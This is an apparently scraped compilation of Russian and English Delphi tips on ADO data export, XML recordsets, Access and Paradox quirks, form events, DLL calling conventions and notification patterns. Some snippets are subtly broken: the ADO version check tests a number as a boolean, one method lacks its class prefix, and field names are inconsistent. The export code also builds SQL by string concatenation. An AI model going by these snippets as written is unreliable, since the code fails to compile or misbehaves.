//if the dataset is filtered (Filtered = true and Filter <> ''), then I append
//the filter string to the sql command in the "where" directive
//if the dataset is sorted (Sort <> '') then I append the sort string to the sql command in the
//"order by" directive
procedure ExportToExcel(FieldNames: string; FileName: string;
SheetName: string; IsamFormat: string);
procedure ExportToHtml(FieldNames: string; FileName: string);
procedure ExportToParadox(FieldNames: string; FileName: string; IsamFormat:
string);
procedure ExportToDbase(FieldNames: string; FileName: string; IsamFormat:
string);
procedure ExportToTxt(FieldNames: string; FileName: string);
published
{ Published declarations }
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Carlo Pasolini', [TExportADOTable]);
end;
constructor TExportADOTable.Create(AOwner: TComponent);
begin
inherited;
FADOCommand := TADOCommand.Create(Self);
end;
procedure TExportADOTable.ExportToExcel(FieldNames: string; FileName: string;
SheetName: string; IsamFormat: string);
begin
{IsamFormat values
Excel 3.0
Excel 4.0
Excel 5.0
Excel 8.0
}
if not Active then
Exit;
FADOCommand.Connection := Connection;
FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
SheetName + ']' + ' IN ' + '"' + FileName + '"' + '[' + IsamFormat +
';]' + ' From ' + TableName;
if Filtered and (Filter <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
if (Sort <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
FADOCommand.Execute;
end;
procedure TExportADOTable.ExportToHtml(FieldNames: string; FileName: string);
var
IsamFormat: string;
begin
if not Active then
Exit;
IsamFormat := 'HTML Export';
FADOCommand.Connection := Connection;
FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
ExtractFileName(FileName) + ']' +
' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
';]' + ' From ' + TableName;
if Filtered and (Filter <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
if (Sort <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
FADOCommand.Execute;
end;
procedure TExportADOTable.ExportToParadox(FieldNames: string;
FileName: string; IsamFormat: string);
begin
{IsamFormat values
Paradox 3.X
Paradox 4.X
Paradox 5.X
Paradox 7.X
}
if not Active then
Exit;
FADOCommand.Connection := Connection;
FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
ExtractFileName(FileName) + ']' +
' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
';]' + ' From ' + TableName;
if Filtered and (Filter <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
if (Sort <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
FADOCommand.Execute;
end;
procedure TExportADOTable.ExportToDbase(FieldNames: string; FileName: string;
IsamFormat: string);
begin
{IsamFormat values
dBase III
dBase IV
dBase 5.0
}
if not Active then
Exit;
FADOCommand.Connection := Connection;
FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
ExtractFileName(FileName) + ']' +
' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
';]' + ' From ' + TableName;
if Filtered and (Filter <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
if (Sort <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
FADOCommand.Execute;
end;
procedure TExportADOTable.ExportToTxt(FieldNames: string; FileName: string);
var
IsamFormat: string;
begin
if not Active then
Exit;
IsamFormat := 'Text';
FADOCommand.Connection := Connection;
FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
ExtractFileName(FileName) + ']' +
' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
';]' + ' From ' + TableName;
if Filtered and (Filter <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
if (Sort <> '') then
FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
FADOCommand.Execute;
end;
end.
{
Note that you can use an already existing database as destination but not an already existing
table in the database itself: if you specify an already exixting table you will receive
an error message. You might insert a verification code inside every exporting procedure of my
component, before the execution of the sql exporting command, in order to send a request of
deleting the already present table or aborting the exporting process.
carlo Pasolini, Riccione(italy), e-mail: ccpasolini@libero.it
}
Как узнать перечень таблиц базы и количество записей в них (ADO).
procedure TForm1.Button1Click(Sender: TObject);
var
SL: TStrings;
index: Integer;
begin
SL := TStringList.Create;
try
ADOConnection1.GetTableNames(SL, False);
for index := 0 to (SL.Count - 1) do begin
Table1.Insert;
Table1.FieldByName('Name').AsString := SL[index];
ADOTable1.TableName := SL[index];
ADOTable1.Open;
Table1.FieldByName('Records').AsInteger :=
ADOTable1.RecordCount;
Table1.Post;
end;
finally
SL.Free;
ADOTable1.Close;
end;
end;
|
Перевести набор данных ADO в XML и обратно.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit ADOXMLUnit;
interface
uses
Classes, ADOInt;
function RecordsetToXML(const Recordset: _Recordset): string;
function RecordsetFromXML(const XML: string): _Recordset;
implementation
uses
ComObj;
{
Example:
...
Memo1.Lines.Text:=RecordsetToXML(ADOQuery1.Recordset);
...
}
function RecordsetToXML(const Recordset: _Recordset): string;
var
RS: Variant;
Stream: TStringStream;
begin
Result := '';
if Recordset = nil then Exit;
Stream := TStringStream.Create('');
try
RS := CreateOleObject('ADODB.Recordset');
RS := Recordset;
RS.Save(TStreamAdapter.Create(stream) as IUnknown, adPersistXML);
Stream.Position := 0;
Result := Stream.DataString;
finally
Stream.Free;
end;
end;
{
Example:
...
ADOQuery1.Recordset:=RecordsetFromXML(Memo1.Lines.Text);
...
}
function RecordsetFromXML(const XML: string): _Recordset;
var
RS: Variant;
Stream: TStringStream;
begin
Result := nil;
if XML = '' then Exit;
try
Stream := TStringStream.Create(XML);
Stream.Position := 0;
RS := CreateOleObject('ADODB.Recordset');
RS.Open(TStreamAdapter.Create(Stream) as IUnknown);
Result := IUnknown(RS) as _Recordset;
finally
Stream.Free;
end;
end;
end.
Опыт использования ADO для доступа к базам данных форматов MS Access, xBase и Paradox.
Оформил: DeeCo
Автор: Иванов Денис Михайлович.
Данная статья не является каким-либо учебным пособием, а просто попыткой обобщить некий опыт, полученный в течение некоторого времени при использовании ADO. Подвигло меня на написание этой статьи то обстоятельство, что когда я приступал к этой работе (я имею в виду использование ADO), я размещал свои вопросы во многих конференциях, а ответов на них не получено до сих пор и, более того, эти же вопросы стали задаваться по новой, а ответов на них как не было, так и нет. На некоторые из них я отвечал, а потом подумал, что не все будут просматривать конференцию целиком, да и когда все сведено в одном месте оно и лучше. Кроме того, толковой литературы по использованию ADO практически нет никакой. Например, мне не удалось найти в солидных по объему книгах г-на Архангельского необходимую мне информацию. Или еще пример - Microsoft Press 'Справочник по OLE DB'. Здесь другой уклон - информации много, слишком много, а примеров никаких (но это вообще проблема справок от Microsoft - написано много, а примеров использования почти нет). Надеюсь, что те сведения, которые я приведу здесь, помогут коллегам по цеху в решении его задач. Причины перехода от BDE к ADO Итак, чтобы было понятно что к чему, сначала поясню, зачем же понадобился переход к ADO. Я работаю программистом в компании, которая занимается написанием оболочки для создания геоинформационных систем (ГИС). То есть имеется некая красивая карта и необходимо получение каких-то атрибутивных данных по объектам на этой карте размещенным. При этом атрибутивные таблицы не имеют заранее установленной структуры - только некие предустановленные поля, которых пользователь не видит, но которые используются для связи объектов на карте и записей в базе данных. Итак, для хранения атрибутивной информации был выбран формат MS Access, который имеет то обстоятельство, что все таблицы хранятся в одном файле (в отличие от Paradox и Dbase) и не требует при этом запущенного сервера, как, к примеру, Interbase. Необходима также связь с файлами форматов dbf и db для загрузки/выгрузки данных в/из БД. Для написания программы мы используем Delphi 4, а для подключения к файлам БД использовалась BDE. И все это было отлично, но вот появились два важных обстоятельства: Вышел MS Access 2000. BDE отказывается работать с этим форматом. Как мне удалось найти ответ после долгих поисков на сайте Inprise - Inprise не знает как производить коннект к этому формату. Цитата: 'Для доступа к данным MS Access мы используем DAO 2.5, который не может работать с форматом MS Access 2000. Если Вам необходим доступ к БД формата MS Access 2000, используйте, пожалуйста, компоненты ADO Delphi 5. По нашей (возможно неверной) информации причина здесь в отсутствии официальной документации от Microsoft. 2. Была найдена интересная особенность поведения BLOB потоков под управлением Windows NT 4. Допустим, нам необходим доступ к BLOB полям таблиц в БД формата MS Access 97. Как произвести подключение через BDE к MS Access 97 я говорить не буду, т.к. многие знают, а кто не знает, тот легко найдет эту информацию. Итак, подключение произведено. Отлично. Вот фрагмент программы:
var
AStream: TBLOBStream;
Data: Integer;
begin
// Открываем таблицу (обычный TTable)
ATable.Open;
// Создаем поток.
AStream := TBLOBStream(ATable.CreateBLOBStream(ATable.FieldByName('Поле')));
// Что-либо читаем из него.
AStream.Read(Data, SizeOf(Data));
// Освобождаем поток и закрываем таблицу.
AStream.Free;
ATable.Close;
end;
Казалось бы - абсолютно тривиальный код. НО! Строка, где производится чтение из потока, вызывает исключительную ситуацию - 'External error - EEFFACE'. И в исходных текстах VCL от Delphi 5 мы находим потрясающее объяснение - это, оказывается, 'C++ Exception'. Интересно, а при чем тут C++? Единственный ответ, какой я знаю, - Delphi написана на C++.
Плюс ко всему, если вы запускаете эту программу из-под Delphi - ошибка не возникает, а если запускаете ее прямо в Windows - ошибка будет непременно. Я дошел в своих поисках до вызовов прямых вызовов BDE API - вот там-то ошибка и возникает, так что я думаю тут очередная ошибка BDE, хотя я использовал на тот момент самую последнюю версию с сайта Inprise - BDE 5.11.
Так что, господа, если Вы используете нечто подобное в своих программах, то знайте, что под Windows NT 4.0/Windows 2000 Ваши программы работать не будут. Самое интересное, что компоненты из библиотеки VCL, которые используют подобный метод для получения данных (к примеру, TDBRichEdit) тоже не работают! Итак, этих двух причин оказалось достаточно для нашей фирмы, чтобы начать переход от BDE к ADO.
ADO и файлы формата MS Access
- Учитель, почему ты обманул меня? Ты сказал, что Вейдер предал и убил моего отца, а теперь оказалось, что он и есть мой отец! - Твой отец… Его соблазнила темная сторона силы. Он больше не был Анекином Скайукером и стал Дартом Вейдером. Поэтому хороший человек, который был твоим отцом, был уничтожен. Так что, то, что я тебе сказал, было правдой… с определенной точки зрения… - С определенной точки зрения? - Люк… ты вот увидишь сам… что очень многие истины зависят от нашей точки зрения. (Звездные войны. Эпизод 6.)
К чему я привел эту цитату - в результате всей этой работы я пришел к выводу, что у нас, программистов, и у Microsoft разный взгляд на фразу 'Обеспечивается доступ к данным'. Мы (ну или, по крайней мере, я) в этой фразе видим следующее содержание 'обеспечивается доступ к данным для их просмотра и РЕДАКТИРОВАНИЯ (т.е. редактирование, удаление и добавление новых данных)'. Что имеет в виду Microsoft можно только догадываться, но явно, что без особых проблем достигается только просмотр данных. Кроме того, практически все примеры в литературе ограничиваются получением данных именно для просмотра, после чего следует несколько бодрых фраз и все заканчивается. Как говорится выше - разные точки зрения… Итак, прежде всего, работа была ограничена условием разработки в Delphi 4. Причин этому много, но к этой статье это отношения не имеет. Просто - программа, разработанная в Delphi 4 должна работать через ADO. Поэтому приступили к поиску компонент, обеспечивающих такую работу. Нашли их довольно много, как платных, так и бесплатных. Все, что будет написано, одинаково и для всех вариантов и даже для Delphi5. Исключение составляет только работа с закладками в Delphi 5. ADO была взята на тот момент самая последняя версия с сайта Microsoft - это ADO 2.6. Итак, возьмем файл mdb формата MS Access 97. Его можно сделать с помощью хотя бы самого Access. И создадим там небольшую таблицу, к примеру, такую: Object_ID Integer - идентификатор объекта на карте Object_Description Text (50) - описание объекта на карте Введем туда какие-либо данные (абсолютно все равно какие). Только надо учесть, что в силу специфики работы у нас могут быть описания, которым пока объекты не соответствуют. Такая связка будет выполнена позже пользователем. Ну, попробуем вывести содержимое таблицы в DBGrid. Ага, получилось. Например, как на картинке:
Вроде как все нормально и доступ к данным мы получили.
А теперь давайте, вообразим себя пользователями и попробуем что-нибудь исправить или добавить. Например, добавим несколько пустых записей и попробуем внести туда данные. Добавляем. Нормально. Теперь внесем данные и нажмем POST. И что мы видим? 
Ага. Интересно, а при чем тут ключ, если у нас на таблицу ключ не наложен? Пробуем добавить новую запись, удалить запись без Object_ID. Результат одинаков - все то же сообщение об ошибке. И что же делать? Запускаем MS Access, пробуем там, и видим, что там все отлично. Стало быть, что-то не так мы делаем с ADO. И тут мы вспоминаем, что когда мы создавали таблицу в MS Access, он предлагал создать ключевые поля для этой таблицы. А после долгих поисков в ADO SDK я нашел этому такое объяснение: ADO предполагает, что таблица будет в первой нормальной форме. Если кто не помнит главное требование первой формы - отсутствие повторяющихся записей.
В данном случае мы не можем создать ключ на то, что есть. Что же делать? И тут приходит на ум простое решение: добавим еще одно поле, чтобы каждая запись была однозначно определена (т.е. некий внутренний идентификатор). Чтобы не думать о содержимом этого нового поля, делаем совсем просто - пусть это будет автоинкрементное поле, и создадим на него первичный ключ. Отлично! Делаем - все работает. Пока мы не добавляем больше одной записи. Если мы их добавим подряд несколько, мы увидим очень интересную ситуацию как на картинке.
Что здесь интересного? А то, что содержимое Internal_ID для всех этих записей равно нулю, хотя это автоинкрементное поле! И Table.Refresh здесь не помогает! Только закрытие и последующее открытие таблицы приводит к тому, что мы видим то, что и ожидалось.
{'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\;
Extended Properties = dBase 5.0;
Mode = Read|Write|Share Deny None;
Persist Security Info = True';}
И это все. Самое интересное во всей это строке - секция 'Extended Properties'.
Чтобы знать, что конкретно для разных форматов надо писать в Extended properties, загляните в реестр Windows на следующую ветку:
HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\ISAM Formats
Там перечислены все поддерживаемые в данном случае форматы.
После опытов над форматом dbf оказалось, что все выше сказанное для формата mdb совершенно не относится к этому формату - и все требования про первую форму можно и не соблюдать! В общем, загадка природы. А вот формат Paradox - это оказалась песня на меньшая, чем mdb. И вот почему - здесь все требования о первой форме таблицы в действии, но ведь мы не можем создавать таблицу, потом говорить пользователю 'Слышь, мужик, а теперь метнулся, запустил Paradox и создал первичный ключ на эту таблицу. А потом нажмешь на ОК и мы продолжим'. Это несерьезно. Стало быть, этот ключ надо создавать нам самим. Хорошо, запускаем справку по MS Jet SQL и ищем раздел создания индексов или первичных ключей. Находим следующее:
CREATE INDEX имя_индекса on название_таблицы(название_поля)with PRIMARY.
ALTER TABLE название_таблицы ADD CONSTRAINT имя_ограничения PRIMARY
KEY(название_поля)
Все далее сказанное абсолютно одинаково для обоих вариантов.
Предположим, что наша таблица называется ExpTbl.db и поле, на которое мы хотим наложить первичный ключ, называется IntrernalID. Хорошо, подключаемся к таблице и задаем такую строку SQL для исполнения: CREATE INDEX My_Index ON ExpTable (InternalID) WITH PRIMARYЗапустим на выполнение. Ого, а что это мы видим? Вот те на - очередное сообщение об ошибке. При этом сообщение как всегда очень содержательное применительно к нашему случаю.
CREATE INDEX ExpTable ON ExpTable (InternalID) WITH PRIMARYЗапускаем, смотрим - все отлично. Чтобы никто больше мучился с этим делом, я хотел бы привести самые значащие ограничения для драйвера PARADOX, которые я нашел в MSDN: Для того, чтобы Вы имели возможность производить действия по добавлению, удалению записей или редактированию данных в таблице, таблица должна иметь первичный ключ. Первичный ключ должен быть определен для первых 'n' полей таблицы. Вы не можете создавать для таблицы индексы, если для нее не определен первичный ключ. Первый создаваемый для таблицы уникальный индекс будет создан как первичный ключ. Первичный ключ может быть создан для таблицы только в том случае, если в ней нет ни одной записи. Действия по добавлению или удаления полей в таблице должны быть произведены до того, как для нее создан первичный ключ. Кстати, по моему опыту удалить однажды созданный первичный ключ для таблицы невозможно. Итак, для работы через ADO с файлами xBase или Paradox, нам необходимо указывать нужный драйвер в секции Extended Properties и в секции Data Source только путь до файла. Для xBase на этом все трудности закончены, а вот для Paradox необходимо задание первичного ключа как для формата MS Access, при этом есть определенные ограничения при задании названий ключей, так же как и возможных индексов. То, о чем речь пойдет далее уже не относится к организации работы с таблицами xBase и Paradox через ADO, а скорее упоминание об одном полезном опыте. Для добавления данных в эти таблицы, мы можем вставлять их по одной (Table.Append (Insert); Table.Post), а можем воспользоваться вариантом SELECT … INTO, INSERT … INTO. Поговорим теперь именно о втором варианте работы. Смотрим файл справки MS Jet SQL.
SELECT поле_1[, поле_2[, ...]]INTO новаяТаблица[in внешняяБазаДанных] FROM источникЛадно, пробуем. Пусть мы имеем в качестве источника данных mdb файл и хотим сохранить данные из таблицы SourceTable в таблицу формата Paradox 7.0 TestTable.db, расположенную в корне диска D:. Казалось бы:
SELECT * INTO[TestTable.DB] in 'D:\' FROM SourceTable
Нет, очередная ошибка. Вот, что мы видим.
SELECT * INTO[TestTable] in 'D:\ TestTable.DB' FROM SourceTable
Получим очередное сообщение об ошибке.
Ага, стало быть, файл для экспорта должен уже существовать? Ладно, не проблема, давайте создадим его и попробуем еще раз.
SELECT * INTO[Paradox 7. x; DATABASE = D: \]. [TestTable#0DB]FROMSourceTableСоздавать таблицу до операции экспорта нет надобности - таблица будет создана автоматически, все поля будут созданы правильного типа. В получившейся таблице будут все данные из SourceTable. Единственная проблема - Вы не сможете больше редактировать данные в этой таблице, потому (см. выше) для этого необходим первичный ключ, а создать его для таблицы, в которой уже есть записи нельзя. Самое потрясающее это название раздела MSDN, где я нашел этот ответ - 'Как, используя ADO, открыть таблицу Paradox, защищенную паролем'. Как ЭТО имеет отношение к этому синтаксису SQL, я так и не понял, честно говоря. Вот, в общем-то, все, что я хотел написать. Осталось еще много интересного в этой области. Чего стоит, например установка правильных кодовых страниц для результирующих файлов и много чего подобного. Это тема либо для продолжений этой статьи, либо для отдельных статей. Очень надеюсь, что кто-нибудь нашел тут полезные для себя сведения. При написании статьи использовались следующие материалы: Материалы Королевства Delphi. Справочные файлы Delphi 4 и Delphi 5. Исходные коды VCL Delphi 4 и Delphi 5. MS ADO SDK и примеры MS ADO SDK. MS MSDN. А.Я. Архангельский 'Язык SQL в Delphi 5'.
Узнаём установленную версию ADO.
function GetADOVersion: Double;
var
ADO: OLEVariant;
begin
try
ADO := CreateOLEObject('adodb.connection');
Result := StrToFloat(ADO.Version);
ADO := Null;
except
Result := 0.0;
end;
end;
// To use this function try something like:
procedure TForm1.Button1Click(Sender: TObject);
const
ADOVersionNeeded = 2.5;
begin
if GetADOVersion then
ShowMessage('Need to install MDAC version 2.7')
else
ShowMessage(Format('ADO Version %n, is OK', [GetADOVersion]));
end;
|
Показать или скрыть ActiveDesktop.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
ComObj, ShlObj, ActiveX;
procedure EnableActiveDesktop(bValue: Boolean);
const
CLSID_ActiveDesktop: TGUID = (D1: $75048700; D2: $EF1F; D3: $11D0;
D4: ($98, $88, $00, $60, $97, $DE, $AC, $F9));
var
MyObject: IUnknown;
ActiveDesk: IActiveDesktop;
twpoComponentOpt: TComponentsOpt;
begin
MyObject := CreateComObject(CLSID_ActiveDesktop);
ActiveDesk := MyObject as IActiveDesktop;
with twpoComponentOpt do
begin
ZeroMemory(@twpoComponentOpt, SizeOf(TComponentsOpt));
dwSize := SizeOf(twpoComponentOpt);
fEnableComponents := bValue;
// fActiveDesktop := True;
end;
ActiveDesk.SetDesktopItemOptions(twpoComponentOpt, 0);
ActiveDesk.ApplyChanges(AD_APPLY_ALL);
end;
Как выполнять дейтвия после исчезновения контекстного меню.
Автор: i-s-vДопустим, у вас на форме расположено контекстное меню PopupMenu1.. Выполнять действия сразу перед появлением меню просто, достаточно дописать код в обработчике события OnPopup этого меню. А как выполнять действия сразу после исчезновения меню? Вот... Используйте вместо TPopupMenu и обрабатывайте событие OnHide... unit MyExtPopupMenu;
(*
Обычное попап-меню, в котором добавлена возможность обработки события
при исчезновении менюшки...
Created by i-s-v (2004)
Visit my web-site http: //isv.iatp.org.ua
Kirovograg, Ukraine
*)
interface
uses
SysUtils, Classes, Menus;
type
TMyExtPopupMenu = class(TPopupMenu)
private
FOnHide: TNotifyEvent;
public
procedure Popup(X, Y: Integer); override;
protected
procedure DoHide(Sender: TObject); virtual;
published
property OnHide: TNotifyEvent read FOnHide write FOnHide;
end;
procedure Register;
implementation
procedure TMyExtPopupMenu.DoHide(Sender: TObject);
begin
if Assigned(FOnHide) then
FOnHide(Sender);
end;
procedure TMyExtPopupMenu.Popup(X, Y: Integer);
begin
inherited Popup(x, y);
DoHide(Self);
end;
procedure Register;
begin
RegisterComponents('Samples', [TMyExtPopupMenu]);
end;
end.
Реализация событий AfterShow и AfterCreate.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Question/Abstract:
I often want to automatically run some code directly after the form has
shown. If this is done in the OnShow event it gets done while the form is
still invisible (not good if the code takes a little while to run.)
Currently, I use a Timer with its interval property set to about 200 and
enabled set to false. In the OnShow event I set Timer.Enabled := True and
the first statement in the OnTimer event is Timer.Enabled := False so the
event only runs once.
Answer:
Post a custom message to yourself.
The following code shows how to trigger a AfterShow, AfterCreate event.
}
const
WM_AFTER_SHOW = WM_USER + 300; // custom message
WM_AFTER_CREATE = WM_USER + 301; // custom message
type
TForm1 = class(TForm)
// OnShow event
procedure FormShow(Sender: TObject);
// OnCreate event
procedure FormCreate(Sender: TObject);
private
procedure WmAfterShow(var Msg: TMessage); message WM_AFTER_SHOW;
procedure WmAfterCreate(var Msg: TMessage); message WM_AFTER_CREATE;
public
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WmAfterShow(var Msg: TMessage);
begin
ShowMessage('WM_AFTER_SHOW received!');
end;
procedure TForm1.WmAfterCreate(var Msg: TMessage);
begin
ShowMessage('WM_AFTER_CREATE received!');
end;
procedure TForm1.FormShow(Sender: TObject);
begin
// Post the custom message WM_AFTER_SHOW to our form
PostMessage(Self.Handle, WM_AFTER_SHOW, 0, 0);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
// Post the custom message WM_AFTER_CREATE to our form
PostMessage(Self.Handle, WM_AFTER_CREATE, 0, 0);
end;
Соглашения о вызовах DLL.
Автор: David Berg Кто-нибудь может мне сказать, почему мои перекомпилированные DLL-ки не грузятся? Передаются только данные, имеющие тип pchars и integer. Одно отличие между 16- и 32-битной версией Delphi - соглашение о вызове. 16-битная версия использует по умолчанию вызов PASCAL (перекрываемый CDECL). 32-битная использует по умолчанию FASTCALL, но может перекрываться CDECL, PASCAL или STDCALL.Я не уверен в том, что сейчас использует VB (в 16-битном Windows API был Pascal, в 32-битном - STDCALL). Я добавляю ко всем экспортируемым функциям ключевое слово "PASCAL". Если это не решает проблему, попробуйте использовать "STDCALL".
Соглашения о вызовах DLL 2.
Автор: Dave Berg CDECL - Порядок вызова справа налево, за выгрузку стека отвечает вызывающая подпрограмма. PASCAL - Порядок вызова слева направо, за выгрузку стека отвечает вызываемая подпрограмма. STDCALL - Порядок вызова справа налево, за выгрузку стека отвечает вызываемая подпрограмма. FASTCALL - Первые три параметра по возможности передаются через регистры процессора. Если аргументов три или меньше и при отсутствии локальных переменных вызываемая подпрограмма не создает кадров стека. STDCALL был добавлен Microsoft для Win32. В нем скомбинированы лучшие черты Pascal (очистка стека вызываемой подпрограммой) и CDECL (аргументы выталкиваются слева направа - первый аргумент находится на вершине стека - делает простым использование счетчика переменного количества аргументов). Перед STDCALL Windows всегда использовался PASCAL, а для вызовов всех переменных аргументов использовался CDECL. Теперь для всего этого всегда используется STDCALL.FASTCALL реально доступен в 16-битных BC, но его используют не так много программистов. Тем не менее, для вызова небольших быстрых подпрограмм, не организующих выталкивание и помещение аргументов и не строящих кадры стека, кадры могут быть расширены. Для примера, подпрограмма MIN/MAX выполняющая около 15 инструкций, выполняет 5, плюс дополнительные инструкции, по большей части для работы с регистрами, где старые инструкции работали с памятью. Это не дало бы такого эффекта в C поскольку: (a) такие простые программы реализовываются на уровне макросов, и/или (b) компилятор имел тенденцию работать во всяком случае с inline.
Два простых способа уведомления.
Оформил: DeeCo
Автор: Алексей Еремеев
В своей работе мне частенько приходиться делать разного рода клиент-серверные системы. И совсем не обязательно на уровне глобальных сетей. Речь пойдет о внутренних подсистемах. Например, имеем компонент, который эмулирует секундомер. Запустили его с параметром типа "а напомни мне, что будет полночь" и забыли. Ну и конечно событие есть типа OnAlert. И обработчик его честно будет вызван по достижении нужной нам полуночи. Но обработчик один, а захотели узнать об этом событии сразу десять разных объектов. Не вешать же десять будильников? Конечно, проще в одном обработчике перебрать методы уведомления этих десяти объектов да и дело с концом. Но можно поступить хитрее - заставить объект-будильник самому напоминать всем кто попросит его об этом. Вот о способах такого уведомления и пойдет речь. Как условие - объект "сервер" ничего не знает об объекте "клиенте". После некоторого размышления и перебрав несколько вариантов я пришел к выводу, что наиболее приемлимые для практики есть два способа. Первый подсмотрен в WinAPI а второй - чисто Дельфи. Оба способа основаны на простой идее регистрации клиента на сервере и оповещении сервером клиентов по внутреннему списку зарегистрированных клиентов.Способ 1. Оповещение через механизм сообщений Windows.
в модуле объекта-сервера в интерфейсной части определяется пользовательский номер события:const WM_NOTIFY_MSG = WM_USER + 123;в объекте-сервере реализуются две интерфейсные процедуры (вкупе с объявленным в приватной секции и созданным в конструкторе TList, в деструкторе не забудем его разрушить, естественно)
procedure RegisterHandle(HW: THandle);
var
i: integer;
begin
i := FWindList.IndexOf(pointer(HW));
if i < 0 then
FWinList.Add(pointer(HW));
end;
procedure UnregisterHandle(HW: THandle)
var
i: integer;
begin
i := FWindList.IndexOf(pointer(HW));
if i >= 0 then
FWinList.Delete(i);
end;
и создается функция оповещения в приватной секции:
procedure SendNotify(wParam, lParam: integer);
var
i: integer;
begin
i := 0;
while i < FWinList.Count do
begin
SendMessage(integer(FWinList.Items[i]), WM_NOTIFY_MSG, wParam, lParam);
Inc(i);
end;
end;
можно вместо SendMessage использовать PostMessage, будет асинхронное сообщение, иногда это выгодней, например для исключения возможности бесконечной рекурсии.
Объект-клиент должен иметь хэндл окна, который регистрируется на объекте-сервере и обработчик событий этого окна, который будет вызыватся при оповещении сервером списка клиентов (окон).
У объекта-клиента можно поступить двояко. Если объект-клиент уже имеет хэндл окна (например, форма) то пишется обработчик фиксированного номера события: procedure ServMsg(var Msg: TMessage); message WM_NOTIFY_MSG;или если окна нет, то создается универсальный метод-обработчик и невидимое окно при помощи функции AllocateHWND() (пример смотрите в исходниках VCL - объект TTimer) Прелесть этого метода состоит в том, что объект-клиент может быть вообще в другом приложении, нежели объект-сервер, и такой трюк пройдет при использовании DLL. Кроме того передавать можно не только пару цифр, но и блоки данных (и даже строки) при помощи сообщения WM_COPYDATA. Но это уже другая история, а мы пока пойдем дальше. Способ 2. Оповещение через объект-посредник.В отдельном модуле создаем объект-посредник, который имеет один метод типа SendEvent и одну ссылку на обработчик события OnEvent. Я назвал такой объект TSynaps (да простят меня нейрохирурги)
unit Synaps;
interface
uses
Windows, Messages, SysUtils, Classes;
type
TSynaps = class(TObject)
private
FOnEvent: TNotifyEvent;
public
procedure SendEvent;
property OnEvent: TNotifyEvent read FOnEvent write FOnEvent;
end;
implementation
procedure SendEvent;
begin
if Assigned(FOnEvent) then
try
FOnEvent(Self);
except
end;
end;
end;
Причем методов и событий может быть много разных на любой вкус. С очередями, асинхронными "прослойками", задержками и другими наворотами. Тут уж кто на что горазд. Я лишь демонстрирую идею. Модуль с объектом-сервером и модуль с объектом-клиентом имеют право знать о модуле Synaps. В объекте-сервере реализуются уже знакомые нам три функции (чуть иначе):
в интерфейсе объекта:
procedure RegisterSynaps(Syn: TSynaps);
var
i: integer;
begin
i := FSynapsList.IndexOf(pointer(Syn));
if i < 0 then
FSynapsList.Add(pointer(Syn));
end;
procedure UnregisterSynaps(Syn: TSynaps);
var
i: integer;
begin
i := FSynapsList.IndexOf(pointer(Syn));
if i >= 0 then
FSynapsList.Delete(i);
end;
и приватная функция:
procedure NotifySynapses;
var
i: integer;
begin
i := 0;
while i < FSynapsList.Count do
begin
TSynaps(FSynapsList.Items[i]).SendEvent;
Inc(i);
end;
end;
Объект-клиент создает в себе объект-синапс, назначает его событию OnEvent свой внутренний обработчик и регистрирует этот синапс на объекте-сервере. Вуаля! И получает оттуда уведомления. Кстати, в деструктор синапса можно встроить вызов события OnDestroy, и тогда объект-сервер, при регистрации клиента, может назначить ему обработчик и автоматически разрегистрировать его при уничтожении. Но это уже навороты.
Такой подход позволяет строить обратные вызовы любой сложности. К тому-же это чистый паскаль-код без привязки к операционке. (а вдруг Kylix :о)
Итог.
Как вы могли заметить, оба способа базируются на двух базовых идеях. Первое - это регистрация клиента на сервере, и второе - вызов сервером некой функции внутри клиента. Разница только в механизмах. И выбирать тут можно исходя из вкусов, предпочтений и неких требований, связанных с ресурсоемкостью, переносимостью и т. п. На самом деле есть очень широко распространенный и давно известный метод под названием CallBack-функция. Мы вызываем кого-то и передаем как один из параметров адрес другой функции. И этот метод частенько используется в WinAPI (смотрите, к примеру, справку по функции EnumFonts). Но! Механизм прямого CallBack-а довольно некрасиво ложится на объектную модель Дельфи, так что я не стал описывать его здесь. Тем более, что оба способа - то-же самое, но красивше. И самое последнее - не забывайте разрегистрировать клиента в конце работы и освобождать ресурсы в деструкторе. И да известят вас ваши сервера только о хорошем!Алгоритм преобразует алгоритм.
Оформил: DeeCo
Автор: George Columbow.
При программировании на Delphi или Паскале иногда попадаются задачи, которые трудно "втиснуть" в стандартные конструкции языка. А решение лежит совсем рядом - в теории конечных автоматов. Мы не будем залезать в дебри, а просто покажем как это делается. Перед началом Лирическое отступление Зачем это надо Немного теории И как же это делается ? Осознание: некоторые следствия и последствия "Отмазка" Автор заранее просит у читателя прощения за то, что в тексте статьи используются блок-схемы. Это не модно сейчас, однако есть случаи, когда все-таки стоит их использовать.Рассуждения об алгоритмах - как раз такой особый случай.
Лирическое отступление.
